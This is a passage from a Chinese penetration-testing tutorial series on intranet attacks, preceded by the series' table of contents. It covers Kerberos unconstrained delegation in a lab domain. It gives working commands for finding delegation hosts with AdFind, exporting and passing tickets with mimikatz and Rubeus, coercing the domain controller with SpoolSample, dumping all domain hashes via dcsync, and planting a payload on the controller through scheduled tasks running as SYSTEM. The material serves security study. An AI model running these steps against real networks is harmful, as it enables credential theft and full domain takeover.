系列文章第一章节之基础知识篇
内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名
系列文章第二章节之内网信息收集篇
内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
内网渗透(十二)之内网信息收集-内网端口扫描和发现
内网渗透(十三)之内网信息收集-收集域环境中的基本信息
内网渗透(十四)之内网信息收集-域环境中查找域内用户基本信息
内网渗透(十五)之内网信息收集-域环境中定位域管理员
内网渗透(十六)之内网信息收集-powershell基础知识
内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位
系列文章第三章节之Windows协议认证和密码抓取篇
内网渗透(十八)之Windows协议认证和密码抓取-本地认证(NTML哈希和LM哈希)
内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)
内网渗透(二十)之Windows协议认证和密码抓取-域认证(Kerberos协议)
内网渗透(二十一)之Windows协议认证和密码抓取-Golden Ticket黄金票据制作原理及利用方式
内网渗透(二十二)之Windows协议认证和密码抓取-Silver Ticket白银票据制作原理及利用方式
内网渗透(二十三)之Windows协议认证和密码抓取-Mimikatz介绍和各种模块使用方法
内网渗透(二十四)之Windows协议认证和密码抓取-Mimikatz读取sam和lsass获取密码
内网渗透(二十五)之Windows协议认证和密码抓取-使用Hashcat和在线工具破解NTLM Hash
内网渗透(二十六)之Windows协议认证和密码抓取-浏览器、数据库等其他密码的抓取
内网渗透(二十七)之Windows协议认证和密码抓取-Windows其他类型抓取NTLM HASH工具
内网渗透(二十八)之Windows协议认证和密码抓取-Windows RDP凭证的抓取和密码破解
内网渗透(二十九)之Windows协议认证和密码抓取-Windows-2012R2之后抓取密码的方式和抓取密码的防范措施
系列文章第四章节之横向移动篇
内网渗透(三十)之横向移动篇-利用远控工具向日葵横向移动
内网渗透(三十一)之横向移动篇-利用远控工具todesk横向移动
内网渗透(三十二)之横向移动篇-利用远控工具GoToHTTP横向移动
内网渗透(三十三)之横向移动篇-利用远控工具RustDESK横向移动
内网渗透(三十四)之横向移动篇-IPC配合计划任务横向移动
内网渗透(三十五)之横向移动篇-IPC配合系统服务横向移动
内网渗透(三十六)之横向移动篇-Password Spraying密码喷洒攻击和域内用户枚举横向移动
内网渗透(三十七)之横向移动篇-Pass the Hash 哈希传递攻击(PTH)横向移动
内网渗透(三十八)之横向移动篇-pass the key 密钥传递攻击(PTK)横向攻击
内网渗透(三十九)之横向移动篇-pass the ticket 票据传递攻击(PTT)横向攻击
内网渗透(四十)之横向移动篇-ms14-068传递获取域管横向移动
内网渗透(四十一)之横向移动篇-PsExec工具远程命令执行横向移动
内网渗透(四十二)之横向移动篇-WMIC远程执行命令横向移动
内网渗透(四十三)之横向移动篇-SMB远程执行命令横向移动
内网渗透(四十四)之横向移动篇-DCOM远程执行命令横向移动
内网渗透(四十五)之横向移动篇-WinRM远程执行命令横向移动
内网渗透(四十六)之横向移动篇-使用系统漏洞ms17010横向移动
系列文章第五章节之域控安全和跨域攻击篇
内网渗透(四十七)之域控安全和跨域攻击-多种方式提取和移动ntds.dit文件
内网渗透(四十八)之域控安全和跨域攻击-多种方式在线读取ntds.dit文件中的hash值
内网渗透(四十九)之域控安全和跨域攻击-多种方式离线读取ntds.dit文件中的hash值
内网渗透(五十)之域控安全和跨域攻击-使用其他工具导出域账号和散列值
内网渗透(五十一)之域控安全和跨域攻击-跨域攻击介绍
内网渗透(五十二)之域控安全和跨域攻击-搭建和查看域信任关系
内网渗透(五十三)之域控安全和跨域攻击-利用域信任密钥获取目标域控
内网渗透(五十四)之域控安全和跨域攻击-利用krbtgt哈希值获取目标域控
内网渗透(五十五)之域控安全和跨域攻击-委派攻击的概述
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!
非约束委派攻击
非约束委派使用场景
从使用的角度:用户张三访问一台机器A,于是向DC发起认证,DC会检查A的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给A,这样A在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而A就可以使用这个TGT,来模拟这个张三访问任何服务。
从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境,或者结合打印机漏洞让域管用户强制回连以缓存 TGT
一个域内用户访问WEB服务,但是一些资源在文件服务上,这个时候就需要委派,需要web系统代表用户A去访问文件服务的资源
非约束委派的漏洞
如果是域管访问web系统,我们就可以通过web系统伪造域管的身份登录域控
利用非约束委派域控主动访问控制域控
实验环境如下:
机器位置 | 机器IP | 机器名 | 机器登录用户 | 所属域 | 委派配置 |
---|---|---|---|---|---|
域内域控制器 | 192.168.41.10 | DC | hack\administrator | hack.com | 域控 |
域内机器 | 192.168.41.14 | WIN-10 | hack\jack | hack.com | 配置了非约束性委派 |
实验前提:控制了域内的一台机器WIN-10,并且该机器的服务账号配置了非约束委派,如下:
1、使用Adfind查询域内非约束委派机器账号,上传Adfind到目标机器上
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
2、我们先去访问域控,是不能访问的
dir \\dc.hack.com\c$
3、这个时候如果域管访问了WIN-10机器,我们的内存中就会有域管的TGT,就可以访问任意机器了,在域控上执行访问WIN-10(模仿域管访问了配置了非约束性委派的主机)
net use \\WIN-10.HACK.COM /user:hack\administrator 123456
4、去WIN-10中导出内存中的票据,这里由于导出票据需要高权限,所以在这一步我们需要进行提权
sekurlsa::tickets /export
5、进行票据传递就可以获取域控的权限了
mimikatz kerberos::ptt [0;54acdf]-2-0-60a10000-Administrator@krbtgtHACK.COM.kirbi
6、访问域控
shell dir \\dc.hack.com\c$
7、复制恶意程序上线域控
copy artifact.exe \\dc.hack.com\c$
8、创建计划任务
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f
9、执行计划任务
shell schtasks /run /s dc.hack.com /i /tn "test"
10、域控上线
利用非约束委派域控被动访问控制域控
实验环境如下:
机器位置 | 机器IP | 机器名 | 机器登录用户 | 所属域 | 委派配置 |
---|---|---|---|---|---|
域内域控制器 | 192.168.41.10 | DC | hack\administrator | hack.com | 域控 |
域内机器 | 192.168.41.14 | WIN-10 | hack\jack | hack.com | 配置了非约束性委派 |
实验前提:控制了域内的一台机器WIN-10,并且该机器的服务账号配置了非约束委派,如下:
一般域管不会主动访问我们,我们可以利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 DC 强制访问已控的具有本地管理员权限的非约束性委派机器 WIN-10 ,从而拿到域管理员的 TGT,进而接管域控。(2008机器可能复现不了,因为版本的问题)
进行实验之前一定要把所有的防火墙关闭!所有的防火墙关闭!所有的防火墙关闭!
1、首先利用Rubeus在 WIN-10 上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录信息
Rubeus.exe monitor /interval:1 /filteruser: DC$
再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行
SpoolSample.exe DC WIN-10
Rubeus监听到票据
Rubeus导入票据
Rubeus.exe ptt /ticket:票据
获取域内用户的hash
lsadump::dcsync /all /csv
如果当前的用户是管理员就可以使用PTH攻击,如果是普通的域用户就使用黄金票据
或者使用计划任务上线
copy artifact.exe \\dc.hack.com\c$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f
shell schtasks /run /s dc.hack.com /i /tn "test"
等待域控上线